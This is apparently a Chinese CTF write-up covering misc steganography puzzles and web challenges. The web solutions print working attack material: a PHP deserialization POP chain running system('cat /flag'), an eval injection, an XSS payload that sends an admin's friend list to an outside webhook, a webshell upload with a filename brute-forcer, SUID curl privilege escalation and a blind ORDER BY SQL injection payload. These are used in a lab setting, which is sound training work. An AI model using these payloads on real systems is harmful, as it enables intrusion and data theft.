4e 6a 43 78 50 6a 42 58 39 66 62 30 59 4b 35 4d 6e 63 75 38 70 79 4c 71 79 68 6c 34 4b 70 47 4e 32 38 44 56 34 77 45 33 35 44 6f 46 2b 72 67 4d 71 71 74 5a 7a 67 73 44 6a 44 6d 4f 31 4e 37 30 42 55 79 67 6d 44 59 39 45 57 77 59 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 30 6c 45 51 56 52 34 6e 4d 33 51 4d 52 4b 41 4d 41 68 45 30 55 66 47 50 72 6d 42 39 37 38 64 4f 51 45 32 32 6a 6e 59 75 68 58 46 6e 2f 30 41 53 69 62 44 6e 64 64 68 54 36 64 73 47 4b 53 73 37 48 72 69 34 58 70 58 56 65 58 38 32 69 66 43 36 70 67 44 74 57 58 30 50 62 41 2f 58 4f 68 64 41 37 47 30 2f 78 6e 4d 4b 75 31 64 66 38 73 46 57 59 45 57 41 56 7a 58 32 45 4d 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 56 30 6c 45 51 56 52 34 6e 4d 32 51 4d 51 71 41 41 41 77 44 54 33 45 2f 2f 2f 2f 4b 2b 49 49 34 69 43 41 6f 6e 65 33 53 6b 67 51 75 46 48 34 32 52 6d 78 59 62 2b 46 39 6b 45 68 70 70 6b 77 74 6b 53 6d 7a 37 52 7a 75 58 55 61 57 30 57 62 75 59 34 4e 30 79 69 78 65 2b 78 67 37 4e 35 49 76 36 38 45 69 78 4a 47 46 6f 58 35 61 44 78 61 52 5a 76 72 50 43 59 58 58 4a 43 6e 69 50 54 61 79 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 5a 55 6c 45 51 56 52 34 6e 49 57 52 73 51 33 44 51 41 7a 45 2b 49 62 37 38 77 62 5a 66 79 78 76 63 42 76 51 6a 56 4d 6c 30 4b 75 36 67 75 42 42 45 6c 68 41 44 74 37 35 44 52 51 49 48 52 6b 44 7a 65 7a 42 4a 6b 30 6e 4a 6d 4c 64 65 46 4c 4e 37 4a 47 59 5a 50 52 45 4b 55 79 65 34 32 59 46 4e 70 34 53 6e 42 6c 53 39 57 2f 46 4e 79 79 38 62 75 41 61 39 32 70 32 58 53 63 66 36 4a 72 2f 6c 55 59 63 62 2f 67 41 72 73 73 74 73 70 74 67 72 35 63 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 6b 6c 45 51 56 52 34 6e 4d 32 50 73 51 33 41 4d 41 7a 44 6d 44 36 67 2f 6e 2b 6c 63 67 47 37 64 43 76 67 72 4e 58 6b 51 53 43 74 56 62 69 7a 34 65 4c 4e 39 30 41 4d 7a 64 69 4a 53 64 4f 4f 6e 4d 51 36 63 6c 61 42 4c 50 66 45 41 54 57 4d 4c 71 49 35 2f 4b 78 4b 54 74 75 72 5a 6e 51 6c 56 55 66 4f 74 57 47 7a 5a 74 66 50 38 67 42 32 69 79 64 6a 50 33 35 38 6a 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 54 6b 6c 45 51 56 52 34 6e 4d 32 4f 77 52 47 41 4d 42 41 43 4e 7a 5a 77 36 62 39 4b 55 67 46 2b 54 4d 5a 48 46 4a 2f 65 69 7a 6c 32 41 50 6a 5a 53 62 59 46 78 33 78 73 52 47 65 30 74 72 65 57 63 4d 63 4b 7a 4e 43 6a 64 65 75 4b 44 45 49 51 4e 71 4f 79 51 30 35 39 32 4b 4d 4c 65 38 76 42 70 63 51 55 55 74 68 38 41 6c 72 73 47 70 59 46 2f 4a 7a 39 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 59 55 6c 45 51 56 52 34 6e 49 57 50 4d 52 4c 44 51 41 67 44 39 32 37 53 77 2f 39 66 71 62 78 67 30 39 69 70 37 49 4e 4b 4d 77 69 4a 68 57 41 43 6d 32 73 65 68 4e 6a 39 76 4c 6f 46 56 66 68 79 2f 76 63 59 72 58 4d 58 42 54 70 34 78 50 4c 63 39 61 48 57 47 38 34 74 6c 69 74 41 6e 37 73 4d 4e 58 41 56 68 6f 6e 4c 4d 75 65 63 54 66 50 74 49 51 66 44 77 4c 37 54 4f 4f 55 45 38 2f 62 47 4e 54 2f 59 71 53 67 35 59 63 74 78 55 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 6b 6c 45 51 56 52 34 6e 4d 32 50 77 52 47 41 51 41 77 43 56 78 76 67 4f 72 44 2f 37 72 41 43 2f 4b 67 66 39 66 6a 4b 69 35 6d 51 54 51 41 4c 47 56 5a 4f 50 51 30 4f 7a 6a 79 7a 62 6f 54 78 50 72 6f 35 4d 76 6c 59 76 38 78 69 45 50 75 59 63 6a 42 52 75 35 57 45 30 6b 73 32 4c 68 79 6a 31 68 30 70 74 45 79 43 32 6a 38 2f 30 77 48 48 55 78 37 2b 53 33 30 67 49 77 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d

先是hex解码,再是base64解码,得到png图片,然后foremost分离文件进行拼接

image-20241208154543630

image-20241208154554040

image-20241208125448186

新图片

1
flag{87f2c9a3-2b7e-11ee-be56-0242ac120002}

weakweakweak

嵌套压缩包,密码要么1要么0,这里试了很多,只有命令行的形式成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import subprocess
import os

def extract_zip(zip_file, password):

command = f'C:\\WinRAR\\WinRAR.exe -y x -p{password} "{zip_file}"'
try:
subprocess.run(command, check=True, shell=True)
print(f"解压成功: {zip_file} 使用密码: {password}")
return True
except subprocess.CalledProcessError:
print(f"解压失败: {zip_file} 使用密码: {password}")
return False

def extract_nested_zip(start_zip, max_retries=1000):
zip_count = 1
current_zip = start_zip

while zip_count <= max_retries:
print(f"正在解压: {current_zip}")

if extract_zip(current_zip, 1):
zip_count += 1
current_zip = f"{zip_count}.zip"
elif extract_zip(current_zip, 0):
zip_count += 1
current_zip = f"{zip_count}.zip"
else:
print("解压失败,停止解压")
break

if __name__ == "__main__":
start_zip = "1.zip"
extract_nested_zip(start_zip)

最后的flag.txt为伪加密

image-20241211004108696

1
2
3
4
5
6
7
8
9
10
11
12
13
亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!	    	   	 	      	 	 	       	       	     












后半段明显是被隐写了,这里猜测是snow隐写的特点,key是之前的01组合起来解码

1
1111011010000110010001101111011010101110110011101000011010011110101001101110011001110110100001101001011010001110100101101001111010010110000101101100111010100110000101100101111001011100100111101010011011010110011001011100100110100111010111010101110100100111010101010001110100100111000000010001110100100111000001011011110100100111100100011111010100010111010100011000100110100111010101011111000110100111100010010001000101100111010111010001110100100111000001011101100110100111001100010011110111110111010111010101110100100111110101010001000110100111100100011111010100010111010100011000100110100111100000010110010100010111101100010001110100100111111000010001110100100111110000011011000110100111100000010000010111100111011000011111010110100111010101010001110100100111000000010001110100100111000001011011110100100111100110011101110111100111100011010000110110100111100010010001000101100111011000010101110100100111001100011110000110010111100110011111110100010111000011010001000110100111010110011000000110100111

image-20241211005013031

image-20241211005122837

龟?赛跑

一个flag.png一个flag.zip

flag

png是LSB低位隐写

image-20241211005503091

解压后

image-20241211005846756

image-20241211005859142

这里的加密字符串典型的对称加密算法特征

1
U2FsdGVkX1/Nre518Zce8IgLQpPb5qUs+fi4EkIdYzH/1Kra1TaiX8Uo1HUN+Z17Mzs=

由于文件里面内容很少,最多才4字节,又知道CRC,直接CRC爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import zipfile
import binascii
import itertools
import string

def get_zip_info(zip_path):
"""
从zip文件中获取所有文件的信息
"""
with zipfile.ZipFile(zip_path, 'r') as zf:
file_info = []
for info in zf.filelist:
file_info.append({
'filename': info.filename,
'file_size': info.file_size,
'CRC': info.CRC
})
return file_info

def crc32_crack(target_crc, length):
"""
针对特定长度和CRC32值进行爆破
"""
charset = string.printable
target_crc = target_crc & 0xFFFFFFFF

print(f"正在爆破 CRC: {hex(target_crc)}, 长度: {length}")

for guess in itertools.product(charset, repeat=length):
content = ''.join(guess)
if binascii.crc32(content.encode()) & 0xFFFFFFFF == target_crc:
return content

return None

def main():
zip_path = 'key.zip'
file_info = get_zip_info(zip_path)

print("从zip文件中获取的信息:")
for info in file_info:
print(f"文件名: {info['filename']}, 大小: {info['file_size']}, CRC: {hex(info['CRC'])}")

for info in file_info:
result = crc32_crack(info['CRC'], info['file_size'])
if result:
print(f"{info['filename']} 的内容是: {result}")
else:
print(f"{info['filename']} 爆破失败")

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
从zip文件中获取的信息:
文件名: 1.txt, 大小: 4, CRC: 0xf57b8d23
文件名: 2.txt, 大小: 4, CRC: 0x2fcaa491
文件名: 3.txt, 大小: 3, CRC: 0x53c8df25
正在爆破 CRC: 0xf57b8d23, 长度: 4
1.txt 的内容是: doyo
正在爆破 CRC: 0x2fcaa491, 长度: 4
2.txt 的内容是: ufin
正在爆破 CRC: 0x53c8df25, 长度: 3
3.txt 的内容是: dit

image-20241211012255057

Read More →
#RCE #PHP反序列化 #RSA #LSB隐写 #SSTI #SSRF #SNOW隐写 #CRC32爆破

2024红岩杯CTF

· Web安全 Crypto密码学 Misc杂项 · 阅读 -

Web

TheBoss

考察知识点:PHP反序列化

1
CQ9jnUNAPzAfLKAmVRkiqzIIQDc7QDbtVPNtpUIvoTywVPEmLKx7QDbtVPNtMaIhL3Eco24tK193LJgyqKNbXD0XVPNtVUfAPvNtVPNtVPNtWUEbnKZgCaAurF0+LJExK3AuoUDbXGfAPvNtVPO9QDbAPa0APzAfLKAmVR1urj0XVPNtVUO1LzkcLlNxnJL7QDbtVPNtMaIhL3Eco24tK19aMKDbWT5uoJHcrj0XVPNtVPNtVPNbWUEbnKZgCzyzXFtcBj0XVPNtVU0APt0XsD0XL2kup3ZtH2IyrJRAPafAPvNtVPOjqJWfnJZtWTgho3p7QDbtVPNtpUIvoTywVPE1Bj0XVPNtVTM1ozA0nJ9hVS9sL2SfoPtxp2IfMvjxozSgMFy7QDbtVPNtVPNtVTIwnT8tWUEbnKZgCaHgCz5iqmfAPvNtVPO9QDbtVPNtMaIhL3Eco24tK19woT9hMFtcQDbtVPNtrj0XVPNtVPNtVPOwLJkfK3ImMKWsMaIhLltxqTucpl0+n25iqljxqTucpl0+qFx7QDbtVPNtsD0XQDc9QDcwoTSmplOHo21ipaWiq3fAPvNtVPOjqJWfnJZtWT5iqmfAPvNtVPOzqJ5wqTyiovOsK2ymp2I0XPEuXKfAPvNtVPNtVPNtMJAbolNbL2kiozHtWUEbnKZgCz5iqlx7QDbtVPNtsD0XVPNtVTM1ozA0nJ9hVS9snJ52o2gyXPy7QDbtVPNtVPNtVTyzVPujpzIaK21uqTAbXPViJ2RgrxRgJy0dYlVfWUEbnKZgCz5iqlxcrj0XVPNtVPNtVPNtVPNtMJAbolNvrJImrJImVwfAPvNtVPNtVPNtsD0XVPNtVU0APt0XsD0XL2kup3ZtGKqunN0Xrj0XVPNtVUO1LzkcLlNxrJImBj0XVPNtVTM1ozA0nJ9hVS9sqT9GqUWcozpbXKfAPvNtVPNtVPNtMJAbolOyoKO0rFtxqTucpl0+rJImYG5hnJjcBj0XVPNtVU0APt0XsD0XQDbAPt0X

解密后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class LoveU
{
public $say;
function __wakeup()
{
$this->say->add_salt();
}

}
class Ma{
public $if;
function __get($name){
($this->if)();
}

}
class Seeya
{
public $know;
public $u;
function __call($self,$name){
echo $this->u->now;
}
function __clone()
{
call_user_func($this->know,$this->u);
}

}
class Tomorrow{
public $now;
function __isset($a){
echo (clone $this->now);
}
function __invoke(){
if (preg_match("/[a-zA-Z]*/",$this->now)){
echo "yesyes";
}
}

}
class Mwah
{
public $yes;
function __toString(){
echo empty($this->yes->nil);
}

}

一个php反序列化

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class LoveU
{
public $say;
}
class Ma{
public $if;
}
class Seeya
{
public $know;
public $u;
}
class Tomorrow{
public $now;
}
class Mwah
{
public $yes;
}

$seeya = new Seeya();
$seeya->know = "system";
$seeya->u = "cat /flag";

$tomorrow1 = new Tomorrow();
$tomorrow2 = new Tomorrow();
$mwah = new Mwah();
$ma = new Ma();

$tomorrow1->now = $mwah;
$mwah->yes = $tomorrow2;
$tomorrow2->now = $seeya;

$endpoint = new Seeya();
$endpoint->u = $tomorrow1;

$loveu = new LoveU();
$loveu->say = $endpoint;

$payload = serialize($loveu);

echo "$payload\n";

多说无益,这道题确实花了我很长时间,但我很庆幸自己迈出了这一步,PHP反序列化一直是我的薄弱点,每次看到都会很打脑壳

我们照着exp理一遍思路,也方便自己复盘(在一步步构造pop链时我们可以自己添加echo语句,看看这个点是否打通)

首先,找到出口,显然这里是call_user_func,我们最后进行任意命令执行

1
2
3
$seeya = new Seeya();
$seeya->know = "system";
$seeya->u = "cat /flag";

而触发call_user_func的前提是__clone()

当类被克隆时自动会自动调用

我们在Tomorrow类中找到关键语句echo (clone $this->now);,因此这里的$this->now一定是设置成$seeya

1
$tomorrow2->now = $seeya;

而触发这个语句的前提是__isset

当对不可访问的属性调用isset()或则会empty()时候会被自动调用

于是我们找到Mwah中的echo empty($this->yes->nil);

1
$mwah->yes = $tomorrow2;

而触发这个语句的前提是__toString()

当我们尝试将一个对象转换为字符串时,这个方法会被自动调用

所以我们要找echo语句,这里是Seeya中的echo $this->u->now;,届时我们正向来看

入口类基本上就是LoveU了,因为其中的__wakeup

当执行unserialize()方法时会被自动调用

对于add_salt()这个不存在的方法,我们想到__call

当要调用的方法不存在或者权限不足时候会自动调用

此时正好对接Seeya类中__call下的echo $this->u->now;

因此可以看到我实例化了两次Tomorrow类

1
2
3
4
5
6
7
8
9
10
11
$tomorrow1->now = $mwah;
$mwah->yes = $tomorrow2;
$tomorrow2->now = $seeya;

$endpoint = new Seeya();
$endpoint->u = $tomorrow1;

$loveu = new LoveU();
$loveu->say = $endpoint;

$payload = serialize($loveu);

至此,整个pop链就通了

留言板

输入单引号造成语法错误,泄露了一些代码(没关debug)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if len(msg) > 27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ', '')
msg = msg.replace('_', '')
retstr = set_str(type, msg)
insert_msg(username, retstr)
return render_template('message.html', msg=retstr, status='%s,留言成功' % username)


def set_str(type, str):
retstr = "%s'%s'" % (type, str)
print(retstr)
return eval(retstr)

def get_cookie():
check_format = ['class', '+', 'getitem', 'request', 'args', 'subclasses', 'builtins', '{', '}']
return choice(check_format)

if __name__ == '__main__':
app.run(host='0.0.0.0', port='5000', debug=True)

重点在于闭合retstr = "%s'%s'" % (type, str)

我们本地测试一下:

1
2
3
4
5
6
7
8
9
10
11
def set_str(type, str):
retstr = "%s'%s'" % (type, str)
print(retstr)
return eval(retstr)
# " ''+open('./flag').read()+'' "
type = "'"
msg = "+print('flag')+'"
msg = msg.replace(' ', '')
msg = msg.replace('_', '')
retstr = set_str(type, msg)
print(retstr)

payload如下:

1
msg=%2Bopen%28%27..%2Fflag%27%29.read%28%29%2B%27&type='

b1xcy如是说

考察知识点:XSS

auth_utils.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

from flask_jwt_extended import create_access_token, decode_token
from werkzeug.security import generate_password_hash, check_password_hash


def generate_jwt(user):
return create_access_token(identity={"username": user["username"]})


def verify_password(stored_hash, provided_password):
return check_password_hash(stored_hash, provided_password)


def hash_password(password):
return generate_password_hash(password)


def get_username_from_jwt(token):
try:
return decode_token(token)
except Exception as e:
return None


def generate_mix_user(self, friend):
return hashlib.md5(
"".join(sorted(self + friend, reverse=True)).encode()
).hexdigest()

socket_events.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from flask_jwt_extended import jwt_required, get_jwt_identity
from flask_socketio import SocketIO, send, emit, join_room, leave_room, disconnect

from utils.db_utils import *
from utils.auth_utils import *

socketio = SocketIO()
room_user_list = []
user_uuid = {}


# 聊天室处理
@socketio.on("connect", namespace="/room")
@jwt_required(optional=True)
def handle_connect():
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
room_user_list.append(current_user["username"])
emit("user_modify", {"user_list": list(set(room_user_list))}, broadcast=True)


@socketio.on("message", namespace="/room")
@jwt_required(optional=True)
def handle_message(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
add_room_message(current_user["username"], msg)
emit("message", f"{current_user['username']}:{msg}", broadcast=True)


@socketio.on("disconnect", namespace="/room")
@jwt_required(optional=True)
def handle_disconnect():
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
room_user_list.remove(current_user["username"])
emit("user_modify", {"user_list": list(set(room_user_list))}, broadcast=True)


# 私聊处理
@socketio.on("join", namespace="/friend")
@jwt_required(optional=True)
def handle_pri_join(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
tar_fri = msg["friendName"]
try:
if (self_uuid := get_self_uuid_info(username)) and (
tar_fri_uuid := get_self_uuid_info(tar_fri)
):
user_uuid[username] = self_uuid
user_uuid[tar_fri] = tar_fri_uuid
friend_relation = generate_mix_user(username, tar_fri)
if friend_relation:
join_room(friend_relation)
emit("info", "已加入私聊")
else:
emit("disconnect")
disconnect()
except Exception as e:
emit("disconnect", e)
disconnect()


@socketio.on("message", namespace="/friend")
@jwt_required(optional=True)
def handle_message(msg):
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
tar_fri = msg["friendName"]
message = msg["message"]
friend_relation = generate_mix_user(username, tar_fri)
if friend_relation:
add_pri_message(username, tar_fri, message)
send(username + ":" + message, room=friend_relation)


@socketio.on("leave", namespace="/friend")
@jwt_required(optional=True)
def handle_pri_leave(msg):
tar_fri = msg["friendName"]
current_user = get_jwt_identity()
if current_user is None:
disconnect()
else:
username = current_user["username"]
friend_relation = generate_mix_user(username, tar_fri)
send(username + "已离开", room=friend_relation)
leave_room(username)

这是一开始自己的尝试,想通过用户名和消息拼接的方式构造XSS
image-20241122145902601
由于复制下来是经过html实体编码转换后的,所以当时尝试实体编码绕过,但未果。最后看了wp是在私聊处的聊天界面的用户名存在xss漏洞

image-20241202214852679

image-20241202214906763

而我们看看其他地方

image-20241202220248888

1
<li>&lt;h1&gt;test&lt;/h1&gt;</li>

而私聊的聊天界面将代码复制下来

1
<h1>test</h1>

没有被实体编码,看来这道题的关键点在这里,唉,还是经验欠缺

image-20241202221017400

对于<script>类型的xss能注入进去,但是无响应,onerror类型的成功弹窗

常见的xss题目是整一个机器人来访问,并窃取它的cookie(flag),但这道题提示flag不在cookie里面,我们只能另寻思路

image-20241202223051687

我们随便输入消息,admin大概意思是我们不是正确的用户,因此应该是存在未知的好友名,但我们并不知道

再往下看可以看到一段js逻辑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<script>
let socket = null;

function startChat(friendName) {
if (socket) {
socket.emit('leave', {friendName: friendName});
socket.disconnect();
}
socket = io('/friend');
socket.on('connect', () => {
socket.emit('join', {friendName: friendName});
});
socket.on('message', (msg) => {
let chatBox = document.getElementById('chat-box');
let newMessage = document.createElement('div');
newMessage.textContent = msg;
chatBox.appendChild(newMessage);
});
}

window.onload = function () {
loadFriends();
};

function sendPrivateMessage(friendName) {
let messageInput = document.getElementById('message').value;
if (friendName && messageInput) {
socket.emit('message', {
'friendName': friendName,
'message': messageInput
});
document.getElementById('message').value = '';
} else {
document.getElementById('message').value = '';
alert('选择一个好友并输入消息');
}
}
</script>

可以看到开头部分WebSocket连接管理对应着socket_events.py的私聊部分,前端发送的各种事件(join、message、leave)都对应后端的相应处理函数

这里存在一个loadFriends();的函数,但是放在控制台中运行,返回Promise {<pending>},这表示loadFriends()是一个异步函数

Promise有三种状态:

pending(待定): 初始状态,既没有完成也没有失败

fulfilled(已完成): 操作成功完成

rejected(已拒绝): 操作失败

Promise {<pending>} 的显示是完全正常的,表示异步操作正在进行中。如果想看到实际的结果,需要使用 .then() 或 await 来等待Promise完成

那么我们回归主题,admin怎么才会识别我们是他所说的那个正确的人?

我们回到代码当中,在私聊中与这么一串代码

1
send(username + ":" + message, room=friend_relation)

对于room=friend_relation,我们转到

1
friend_relation = generate_mix_user(username, tar_fri)
1
2
3
4
def generate_mix_user(self, friend):
return hashlib.md5(
"".join(sorted(self + friend, reverse=True)).encode()
).hexdigest()

因此,整个逻辑是:
将当前用户名和好友名拼接在一起,然后按ASCII码从小到大排序,使用MD5加密生成固定长度的哈希值,确保无论是A和B聊天,还是B和A聊天,生成的房间ID都是一样的(只要是这几个字符的任意组合都行,因为最后经过sorted函数处理后的字符串都是一样的);

friend_relation则存储这个标识,send函数确保只有room=friend_relation中的人能收到消息

好现在搞明白了逻辑,那就差那个admin的好友,如何获取呢?我们刚刚提到了loadFriends()函数,这是加载本地的好友,我们需要让admin去触发这个函数,因为我们发消息admin是会回复我们的,我们只需要登录下面这个账户(payload)让admin发送消息(你是?不不不你不是)即可

1
<img src=x onerror="loadFriends().then(data => data.friends.forEach(friend => fetch('https://webhook', {method: 'POST', header: {'Content-Type': 'application/x-www-form-urlencoded'}, body: friend})))">

image-20241203222700321

1
2
3
self = "admdn"
friend = "b1xcy_s41i_7h47"
print("".join(sorted(self + friend, reverse=True)).encode())

yxsnmihddcba__774411

创建两个账户等待admin发送消息即可

image-20241203222915971

简简单单upload

考察知识点:文件上传,SUID提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function showFileName() {
const fileInput = document.getElementById('fileInput');
const fileName = document.getElementById('fileName');
const uploadBtn = document.getElementById('uploadBtn');

if (fileInput.files.length > 0) {
fileName.textContent = fileInput.files[0].name;
uploadBtn.disabled = false;
} else {
fileName.textContent = '未选择文件';
uploadBtn.disabled = true;
}
}

function uploadFile() {
const statusMsg = document.getElementById('statusMsg');
statusMsg.textContent = "上传中...";

// 模拟上传过程,真实环境中需要处理文件上传逻辑
setTimeout(() => {
statusMsg.textContent = "上传成功!";
}, 2000);
}

也就是说这只是模拟了上传过程,实际上并没有真的上传

不过后来发现,只是出题人化简了步骤,在下面的提示中其实是上传了的

1
2
3
4
$originalFileName = basename($file['name']);
$timestamp = time();
$newFileName = $timestamp . '_' . $originalFileName;
$targetFilePath = $uploadDir . $newFileName;

可以看到将原文件名中前面添加了时间戳和一个下划线,这里也是可惜,当时就是这么猜测出题人的预期解的,但是自己细节上的一些问题,最后偏离了方向/(ㄒoㄒ)/~~

PHP环境,我们注入PHP一句话木马

不过这里可能存在误差,我们写一个脚本取前后10秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time
from urllib.parse import urlparse, urlunparse

def try_timestamps(base_url, base_timestamp, offset=10):
parsed_url = urlparse(base_url)
path_parts = parsed_url.path.split('/')

for timestamp in range(base_timestamp - offset, base_timestamp + offset + 1):
filename = f"{timestamp}_m.php"
path_parts[-1] = filename
new_path = '/'.join(path_parts)

new_url = urlunparse(parsed_url._replace(path=new_path))

try:
response = requests.get(new_url)
print(f"尝试URL: {new_url} - 状态码: {response.status_code}")

if response.status_code == 200:
print(f"\n找到有效URL: {new_url}")
return new_url

except requests.RequestException as e:
print(f"请求失败: {new_url} - 错误: {e}")

time.sleep(0.1)

return None

def main():
base_url = "http://127.0.0.1:60912/uploads/1733134260_m.php"
base_timestamp = 1733134260

result = try_timestamps(base_url, base_timestamp)
if not result:
print("\n未找到有效URL")

if __name__ == "__main__":
main()

image-20241202181248033

这里我们成功连接蚁剑,并在根目录下找到了flag文件,但是打开后一篇空白

之前的一次暑假出题任务中,我出过类似的题目,当时是flag设置的root权限用户可读写,此时作为普通用户打开是一片空白的,因此这里我们先看看自己的身份是什么

image-20241202181533116

不过后续发现执行任何命令都是这个输出,后上网发现,disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,我们上传一个phpinfo()看看

image-20241202182302884

好家伙,这也忒多了,我们用插件Medicean/as_bypass_php_disable_functions: antsword bypass PHP disable_functions绕过

image-20241202183111933

image-20241202183156147

没错,只有root用户拥有读取权限,当时我考察的点是suid提权,这里同样的

我们先寻找哪些文件(命令)具有suid权限

1
find / -perm -u=s -type f 2>/dev/null

image-20241202183715862

很好curl,我们去GTFOBins上面找提权命令

image-20241202183803960

可以看到curl是存在suid提权的

image-20241202183910928

使用file协议读取本地文件

1
curl file:///path/to/flag

image-20241202184117415

肚子饿了

考察知识点:order by SQL注入

看到get传参,猜测sql注入,看到以下回显,大概就是了

image-20241117140858926

很好,我们做一个简单的fuzz测试,看看过滤了哪些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(对大小写不敏感)
and
or(检测前后的空格)
)OR(
union
^
&
regexp
|
updatexml
extractvalue
insert
delete
sleep
floor
(若desc或asc后面有逗号或;)
(,在参数最前面)
union select
rand
exp

desc提示order by注入,同时发现输入为空时,也能回显,所以猜测后端语句为

1
SELECT * FROM table_name ORDER BY column_name $type

其实到了这里熬了很久,一直没搞明白,后面自己在本地的mysql不断的尝试才弄出来了,试过order by和limit

最终确定是order by的注入

(这里试了很久,但自己也总结了经验,就是在推测出后端sql语句后,自己在本地去尝试,这样出的会更快,当然数据库的类型版本具体情况具体看)

1
payload = "-1,if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))>{1},benchmark(500000,md5('ydyd')),price)".format(i, mid)

一共两张表food和secret

然后flag是字段,最后是个fake flag和真flag

1
2
3
4
